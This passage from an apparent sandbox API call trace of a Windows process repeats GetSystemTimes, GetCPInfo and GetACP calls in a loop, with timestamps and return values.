lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.242] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.242] GetACP () returned 0x4e4 [0053.242] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.242] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.242] GetACP () returned 0x4e4 [0053.242] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.242] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.242] GetACP () returned 0x4e4 [0053.242] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.242] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.242] GetACP () returned 0x4e4 [0053.242] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.242] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.242] GetACP () returned 0x4e4 [0053.242] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.243] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.243] GetACP () returned 0x4e4 [0053.243] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.243] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.243] GetACP () returned 0x4e4 [0053.243] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.243] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.243] GetACP () returned 0x4e4 [0053.243] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.243] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.243] GetACP () returned 0x4e4 [0053.243] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.243] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.243] GetACP () returned 0x4e4 [0053.243] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.243] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.243] GetACP () returned 0x4e4 [0053.243] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.243] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.243] GetACP () returned 0x4e4 [0053.243] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.243] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.243] GetACP () returned 0x4e4 [0053.243] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.243] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.243] GetACP () returned 0x4e4 [0053.243] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.244] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.244] GetACP () returned 0x4e4 [0053.244] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.244] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.244] GetACP () returned 0x4e4 [0053.244] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.244] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.244] GetACP () returned 0x4e4 [0053.244] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.244] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.244] GetACP () returned 0x4e4 [0053.244] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.244] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.244] GetACP () returned 0x4e4 [0053.244] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.244] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.244] GetACP () returned 0x4e4 [0053.244] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.244] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.244] GetACP () returned 0x4e4 [0053.244] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.244] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.244] GetACP () returned 0x4e4 [0053.244] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.244] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.244] GetACP () returned 0x4e4 [0053.244] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.245] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.245] GetACP () returned 0x4e4 [0053.245] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.245] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.245] GetACP () returned 0x4e4 [0053.245] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.245] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.245] GetACP () returned 0x4e4 [0053.245] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.245] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.245] GetACP () returned 0x4e4 [0053.245] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.245] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.245] GetACP () returned 0x4e4 [0053.245] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.245] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.245] GetACP () returned 0x4e4 [0053.245] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.245] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.245] GetACP () returned 0x4e4 [0053.245] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.245] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.245] GetACP () returned 0x4e4 [0053.245] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.245] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.245] GetACP () returned 0x4e4 [0053.245] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.246] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.246] GetACP () returned 0x4e4 [0053.246] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.246] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.246] GetACP () returned 0x4e4 [0053.246] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.246] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.246] GetACP () returned 0x4e4 [0053.246] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.246] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.246] GetACP () returned 0x4e4 [0053.246] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.246] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.246] GetACP () returned 0x4e4 [0053.246] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.246] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.246] GetACP () returned 0x4e4 [0053.246] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.246] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.246] GetACP () returned 0x4e4 [0053.246] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.246] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.246] GetACP () returned 0x4e4 [0053.246] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.247] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.247] GetACP () returned 0x4e4 [0053.247] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.247] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.247] GetACP () returned 0x4e4 [0053.247] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.247] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.247] GetACP () returned 0x4e4 [0053.247] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.247] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.247] GetACP () returned 0x4e4 [0053.247] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.247] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.247] GetACP () returned 0x4e4 [0053.247] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.247] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.247] GetACP () returned 0x4e4 [0053.247] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.247] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.247] GetACP () returned 0x4e4 [0053.247] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.247] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.247] GetACP () returned 0x4e4 [0053.247] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.247] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.247] GetACP () returned 0x4e4 [0053.247] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.248] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.248] GetACP () returned 0x4e4 [0053.248] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.248] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.248] GetACP () returned 0x4e4 [0053.248] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.248] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.248] GetACP () returned 0x4e4 [0053.248] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.248] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.248] GetACP () returned 0x4e4 [0053.248] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.248] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.248] GetACP () returned 0x4e4 [0053.248] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.248] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.248] GetACP () returned 0x4e4 [0053.248] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.248] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.248] GetACP () returned 0x4e4 [0053.248] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.248] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.248] GetACP () returned 0x4e4 [0053.248] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.248] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.248] GetACP () returned 0x4e4 [0053.248] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.249] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.249] GetACP () returned 0x4e4 [0053.249] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.249] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.249] GetACP () returned 0x4e4 [0053.249] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.249] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.249] GetACP () returned 0x4e4 [0053.249] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.249] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.249] GetACP () returned 0x4e4 [0053.249] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.249] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.249] GetACP () returned 0x4e4 [0053.249] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.249] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.249] GetACP () returned 0x4e4 [0053.249] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.249] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.249] GetACP () returned 0x4e4 [0053.249] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.249] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.249] GetACP () returned 0x4e4 [0053.249] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.249] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.249] GetACP () returned 0x4e4 [0053.249] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.250] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.250] GetACP () returned 0x4e4 [0053.250] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.250] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.250] GetACP () returned 0x4e4 [0053.250] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.250] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.250] GetACP () returned 0x4e4 [0053.250] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.250] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.250] GetACP () returned 0x4e4 [0053.250] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.250] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.250] GetACP () returned 0x4e4 [0053.250] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.250] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.250] GetACP () returned 0x4e4 [0053.250] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.250] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.250] GetACP () returned 0x4e4 [0053.250] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.250] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.250] GetACP () returned 0x4e4 [0053.250] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, 